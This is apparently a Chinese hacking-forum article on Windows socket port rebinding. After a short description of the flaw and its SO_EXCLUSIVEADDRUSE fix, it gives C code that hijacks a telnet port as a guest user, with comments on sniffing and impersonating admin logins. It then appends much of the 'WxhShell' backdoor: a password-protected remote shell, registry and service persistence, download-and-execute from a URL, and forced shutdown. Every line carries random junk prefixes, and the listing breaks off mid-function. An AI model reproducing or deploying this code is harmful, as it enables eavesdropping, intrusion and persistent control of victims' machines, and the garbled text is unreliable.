在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
k@JDG]R<{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Xt~`EN Rn~FCj,- saddr.sin_family = AF_INET;
5W"nn mA}-hR% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Q}FDu, i/9QOw~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)W95)] :#0uy1h 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u3vBMe0v[ , C2qP3yg 这意味着什么?意味着可以进行如下的攻击:
;v'7l>w3\w .CdaOWM7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4J0{$Xuu0 ?P@fV'Jo 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ztf
VXmi' ^ j;HYs_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
XIh2Y\33ys vn|u&}h 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
OLUQjvnU Yr5A,-s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+]uW|owxo x- kCNy 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?Y+xuY/t ot]eaad 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
{[G2{ijRz s|rlpd4y #include
(__=*ew #include
((^jyQ #include
4[a?..X #include
wH= DWORD WINAPI ClientThread(LPVOID lpParam);
\s?OvqI: int main()
V2sWcV? {
!Rk1q&U5 WORD wVersionRequested;
y
,isK DWORD ret;
`l@[8H%aw WSADATA wsaData;
(oX|lPD<b BOOL val;
fx %Y(W#5 SOCKADDR_IN saddr;
0#4_vg . SOCKADDR_IN scaddr;
;l>
xXSB7$ int err;
F+PIZ% SOCKET s;
hLFf SOCKET sc;
GHj1G,L@\ int caddsize;
*@o@> HANDLE mt;
7Ipt~K} DWORD tid;
E*ybf' wVersionRequested = MAKEWORD( 2, 2 );
vpXC5|9U err = WSAStartup( wVersionRequested, &wsaData );
B!GpD@U if ( err != 0 ) {
F{)YdqQ printf("error!WSAStartup failed!\n");
+qq,;npi return -1;
9 tkj:8_ }
&?>h#H222 saddr.sin_family = AF_INET;
Cnd70tbD ) $'e;ScH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
rB;`&)- eO;i1 > saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vF"<r,pg saddr.sin_port = htons(23);
gP8Fe =] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0fA42*s; {
]#R'hL%f printf("error!socket failed!\n");
?g|K"P<1 return -1;
v{`Z }
K y~
9's val = TRUE;
UgDai?b1 //SO_REUSEADDR选项就是可以实现端口重绑定的
-q' n p0H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
jUtrFl {
(1H_V( printf("error!setsockopt failed!\n");
9\i;zpN\ return -1;
q"ba~@<BEl }
KK4>8zGR //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*6 -;iT8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6la# 0U23 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?xh_qy; ,6Sa if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^_6%dKLK {
_?>!Bz
m ret=GetLastError();
4NN-'Z>a printf("error!bind failed!\n");
ms'&.u&< return -1;
=o\:@I[ }
u{0+w\xH\ listen(s,2);
QwXM<qG* while(1)
Hn)K;?H4 {
c:I1XC caddsize = sizeof(scaddr);
yveyAsN`B //接受连接请求
H6E@C}cyM sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,Hh7'` if(sc!=INVALID_SOCKET)
MuB8gSu {
3GqJs mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
a
OR} if(mt==NULL)
GlP
[: {
3U<\y6/ printf("Thread Creat Failed!\n");
0h!2--Aur break;
BF8n: }9U }
S+>&O3m }
`%;nHQ" CloseHandle(mt);
:,rD5aOQ }
4 q}1 closesocket(s);
1<A+.W WSACleanup();
k$:QpTg[ return 0;
)?~3fb6^ }
YS=|y}Q|7d DWORD WINAPI ClientThread(LPVOID lpParam)
[W=%L:Ea {
IcZ_AIjlk SOCKET ss = (SOCKET)lpParam;
^% BD SOCKET sc;
S`2M QL unsigned char buf[4096];
.vNfbYH( SOCKADDR_IN saddr;
ka{9{/dz3 long num;
"L@qjSs8 DWORD val;
!OWVOq8 DWORD ret;
hKtOh //如果是隐藏端口应用的话,可以在此处加一些判断
*E0+! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
hRb
k-b saddr.sin_family = AF_INET;
x={t}qDS8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Q_QmyD~m saddr.sin_port = htons(23);
Y<3s_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]*j>yj.Y'~ {
,'5P[- printf("error!socket failed!\n");
;d G.oUk= return -1;
T[xGF/ }
RK(uC-l val = 100;
j>gO]*BX~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
T'i9_V{ {
toPA@V ret = GetLastError();
hor ok:{ return -1;
Djx9TBZ5 }
OP
|{R7uC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u~<>jAy {
HP|,AmVLl ret = GetLastError();
=sRd5aMs return -1;
qTC`[l }
E#Ynn6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
i_g="^ {
9 U1)sPH; printf("error!socket connect failed!\n");
+A
W6 >yV` closesocket(sc);
a$#,'UB closesocket(ss);
95(c{
l/ return -1;
I /3=~;u }
efMv1>{ while(1)
@)&b..c?_ {
]]o7ej //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
i051qpj //如果是嗅探内容的话,可以再此处进行内容分析和记录
vq$%Ug/B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\F,?ptu num = recv(ss,buf,4096,0);
;1S{xd*^N if(num>0)
]w%7/N0R send(sc,buf,num,0);
c}Jy'F7&f else if(num==0)
V)R-w` break;
GK/a^[f+'l num = recv(sc,buf,4096,0);
o]n5pZ\\W< if(num>0)
,8o]XFOr send(ss,buf,num,0);
R8EDJ2u# else if(num==0)
q "bpI8j break;
598xV|TON }
x)G/YUv76 closesocket(ss);
L3Ry#uw closesocket(sc);
*Dh.'bB! return 0 ;
T1PWFw\GH }
<y*#[:i 8/b_4!5c 0'^? m$ ==========================================================
HT
A-L>Cee $f>WR_F 下边附上一个代码,,WXhSHELL
)U<4ul yN{Ybp ==========================================================
y$*?k0=ZX PNT.9 *d #include "stdafx.h"
w|Zq5|[ aEXV^5;,pJ #include <stdio.h>
$f1L<euH #include <string.h>
DetBZ. #include <windows.h>
a&L8W4 #include <winsock2.h>
""Drf=] #include <winsvc.h>
1>a^Q #include <urlmon.h>
;}f%b E -2> L*"^ #pragma comment (lib, "Ws2_32.lib")
Uo^s]H#: #pragma comment (lib, "urlmon.lib")
kKE2~ q G2a fHL< #define MAX_USER 100 // 最大客户端连接数
Iay7Fkv #define BUF_SOCK 200 // sock buffer
,-] JCcH #define KEY_BUFF 255 // 输入 buffer
./#K@V1 Y+/ofk" #define REBOOT 0 // 重启
v8*ZwF #define SHUTDOWN 1 // 关机
~l6e&J ,wO5IaV #define DEF_PORT 5000 // 监听端口
SKLQAE5 Y141Twjvd #define REG_LEN 16 // 注册表键长度
54uTu2 #define SVC_LEN 80 // NT服务名长度
5*g@;aR1 e-qr d // 从dll定义API
68I4 MZK>4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
EXa6"D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l*'8B)vN2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2"<}9A<Xs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
uO[4 WZ W\} VZY // wxhshell配置信息
A*E4hop[ struct WSCFG {
,z%F="@b9 int ws_port; // 监听端口
G#dpSNV3| char ws_passstr[REG_LEN]; // 口令
bs+KcY:N] int ws_autoins; // 安装标记, 1=yes 0=no
cR@z^ char ws_regname[REG_LEN]; // 注册表键名
s
]QzNc char ws_svcname[REG_LEN]; // 服务名
i":-g"d char ws_svcdisp[SVC_LEN]; // 服务显示名
NPB':r-8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
NLz$jk%=g char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Qs%f6rL int ws_downexe; // 下载执行标记, 1=yes 0=no
B|, 6m 3. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
KL5rF,DME char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2"__jp:( +\:I3nKs% };
5V?1/ /%xK-z,V // default Wxhshell configuration
U#F(#3/ struct WSCFG wscfg={DEF_PORT,
*D<sk7 "xuhuanlingzhe",
}FM<uBKW 1,
Ccc6 ko_ "Wxhshell",
)@K|Co "Wxhshell",
Z@I%ppd "WxhShell Service",
-3 W4 "Wrsky Windows CmdShell Service",
8L=QfKr "Please Input Your Password: ",
x<ENN>mW1 1,
:A[bqRqe "
http://www.wrsky.com/wxhshell.exe",
ww\/$ | "Wxhshell.exe"
k*!J,/=k };
B=Zo0p^ b7>;UX // 消息定义模块
'6 /uc:zv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~{5%~8h.0r char *msg_ws_prompt="\n\r? for help\n\r#>";
Fa/i./V2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
j zPC9 char *msg_ws_ext="\n\rExit.";
W_DO8nX char *msg_ws_end="\n\rQuit.";
v>nJy~O] char *msg_ws_boot="\n\rReboot...";
RMi
2Ip char *msg_ws_poff="\n\rShutdown...";
LXXxwIBS char *msg_ws_down="\n\rSave to ";
j|[s?YJl D 'u+3 char *msg_ws_err="\n\rErr!";
|f>y"T+1 char *msg_ws_ok="\n\rOK!";
9*2hBNp+ +5({~2Lzvp char ExeFile[MAX_PATH];
^mz_T+UOe int nUser = 0;
C*78ZwZ HANDLE handles[MAX_USER];
"M:arP5f int OsIsNt;
8\a)}k~4 -8pHjry'q SERVICE_STATUS serviceStatus;
v5 9> SERVICE_STATUS_HANDLE hServiceStatusHandle;
Mys;Il" L>L4%? // 函数声明
JI*ikco- int Install(void);
F2:7UNy, int Uninstall(void);
lN1zfM int DownloadFile(char *sURL, SOCKET wsh);
A?7%q^;E int Boot(int flag);
"RShsJZMH void HideProc(void);
a)TNVm^ int GetOsVer(void);
VJ$C)0xQA int Wxhshell(SOCKET wsl);
gai?LXM
l} void TalkWithClient(void *cs);
#Se int CmdShell(SOCKET sock);
Hou{tUm{xC int StartFromService(void);
M,#t7~t int StartWxhshell(LPSTR lpCmdLine);
}40/GWp<f _c(=> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
A>4k4*aFm# VOID WINAPI NTServiceHandler( DWORD fdwControl );
l y%**iN +f7?L]wzic // 数据结构和表定义
ivagS\Q SERVICE_TABLE_ENTRY DispatchTable[] =
%(kq Hxc {
.i. |wY {wscfg.ws_svcname, NTServiceMain},
J}YI-t {NULL, NULL}
E""/dC:B };
e6_.ID'3 2;&13%@! // 自我安装
{jc~s~<# int Install(void)
We4 FR4` {
vc!S{4bN char svExeFile[MAX_PATH];
YT3QwN9 HKEY key;
_Ng*K]0/E strcpy(svExeFile,ExeFile);
rxz3Mqg <r\)hx0ov // 如果是win9x系统,修改注册表设为自启动
siG?Sd_2 if(!OsIsNt) {
,
m\0IgZdz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
C )I"yeS. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CTI(Kh+ RegCloseKey(key);
K8+b\k4E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^y3\e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c]"B)I1L RegCloseKey(key);
xUw\Y(! return 0;
*K98z ? }
tEEhSG)s% }
Ey n3Vv?v }
~::R+Lh( else {
/9yiMmr5W {&;b0'!Tf // 如果是NT以上系统,安装为系统服务
L.Lt9W2fi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
HOD2/ if (schSCManager!=0)
tFSdi.|G= {
k}O|4*.BT SC_HANDLE schService = CreateService
#0P<#S^7 (
GHlra^ schSCManager,
0F3>kp4u wscfg.ws_svcname,
E:o:)h?$ wscfg.ws_svcdisp,
D4vmBVT SERVICE_ALL_ACCESS,
/~^I]D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?I0 i%nH SERVICE_AUTO_START,
SB'YV#-- SERVICE_ERROR_NORMAL,
BJq}1mn* svExeFile,
A8RT3OiXA NULL,
(gf\VYM-7 NULL,
f|G7L5- NULL,
KGWENX_U NULL,
q%'ovX(dm NULL
B~aOs>1
S] );
\I'Zc] if (schService!=0)
`kv$B3 {
%zD-gw> CloseServiceHandle(schService);
UxvsSHi CloseServiceHandle(schSCManager);
~pA;j7* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
FKx9$B strcat(svExeFile,wscfg.ws_svcname);
p%ZiTrA1&D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#,PAM.rH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"@?|Vv,vn RegCloseKey(key);
~ghz%${` return 0;
:^s7#4%6 }
G9a%N }
^(\Gonf< CloseServiceHandle(schSCManager);
vX/A9Qi,U. }
}F`Tp8/&j }
6C0_. =7# Wu4Nq+ return 1;
"[?/I3{E }
.apX72's, u20b+c4 // 自我卸载
_]S6> int Uninstall(void)
Z+dR(9otH3 {
5muW*7 HKEY key;
CU;nrd " z-gwNE{ if(!OsIsNt) {
OT&E)eR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M$W#Q\<*#r RegDeleteValue(key,wscfg.ws_regname);
RsD`9>6) RegCloseKey(key);
t(Zs*c( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9v
F2aLPk RegDeleteValue(key,wscfg.ws_regname);
JAb?u.,Ns_ RegCloseKey(key);
3.0c/v5Go return 0;
)c '>E4> }
GA_`C"mx }
Riw7<j }
iXm||?Rnx else {
^0|NmMJ] 7
h1"8#X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
NslA/"* if (schSCManager!=0)
m3(T0.j0P {
:ky<`Jfr` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9$,gTU_a if (schService!=0)
Tb={g;0@ {
M96( Rg if(DeleteService(schService)!=0) {
V0 F30rK CloseServiceHandle(schService);
_o?(t\B9{ CloseServiceHandle(schSCManager);
c9uT`h return 0;
a-E-hX2 }
w~U`+2a3 CloseServiceHandle(schService);
rc$!$~|I3Z }
mVK 9NK CloseServiceHandle(schSCManager);
v|I5Gz$qpa }
~8m>DSs)D }
1D[P\r- T{<@MK%],d return 1;
?66(t }
B-~&6D, -k
<9v.: // 从指定url下载文件
!ix<|F5 int DownloadFile(char *sURL, SOCKET wsh)
IOkC [([ {
l>UUaf|O HRESULT hr;
GeaDaYh#T char seps[]= "/";
(<3lo
ZaX char *token;
lZM3Q58?\ char *file;
dl6v
< char myURL[MAX_PATH];
klJ[ {p char myFILE[MAX_PATH];
'98h<(@] ~{vdP=/WP strcpy(myURL,sURL);
MgQU6O< token=strtok(myURL,seps);
vNt>ESPB while(token!=NULL)
5;
PXF {
$XQxWH| file=token;
|NU0tct^ token=strtok(NULL,seps);
qysa!B }
3Y{)(%I p RwGv GetCurrentDirectory(MAX_PATH,myFILE);
UB$`;'|i strcat(myFILE, "\\");
GD[ou.C}k strcat(myFILE, file);
*sB-scD send(wsh,myFILE,strlen(myFILE),0);
^dnz=FB send(wsh,"...",3,0);
s!'A\nVV1$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[u9JL3 if(hr==S_OK)
!049K!rP{ return 0;
`SjD/vNE else
N4H+_g| return 1;
Yc82vSG' WYC1rfd= }
As+;qNO N
2"3~ # // 系统电源模块
W/r mm* int Boot(int flag)
{?/8jCVd {
`GQiB]Z HANDLE hToken;
,![Du::1 TOKEN_PRIVILEGES tkp;
ZJ9Jf2 c ,B %fjcn if(OsIsNt) {
C5+`< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
So=nB} b[? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
oKYhE tkp.PrivilegeCount = 1;
aw/7Z` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tw/#ENo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:5S |x/ if(flag==REBOOT) {
x$n~f:1Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7<:Wq=e!r return 0;
3_MS'&M }
V[Rrst0yo else {
+lW}ixt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
adI!W-/R: return 0;
$%
Ci8p }
qo6LC >Qg }
>&;>PZBPCO else {
l#b|@4:I if(flag==REBOOT) {
+`*qlP; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
7wQ+giu return 0;
xegQRc }
I/HV;g:# else {
K3rBl!7v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)Ig+uDGk return 0;
:4ja@~ }
0\'Q&oTo }
3e%l8@R@ eA?uny
f2r return 1;
-R&E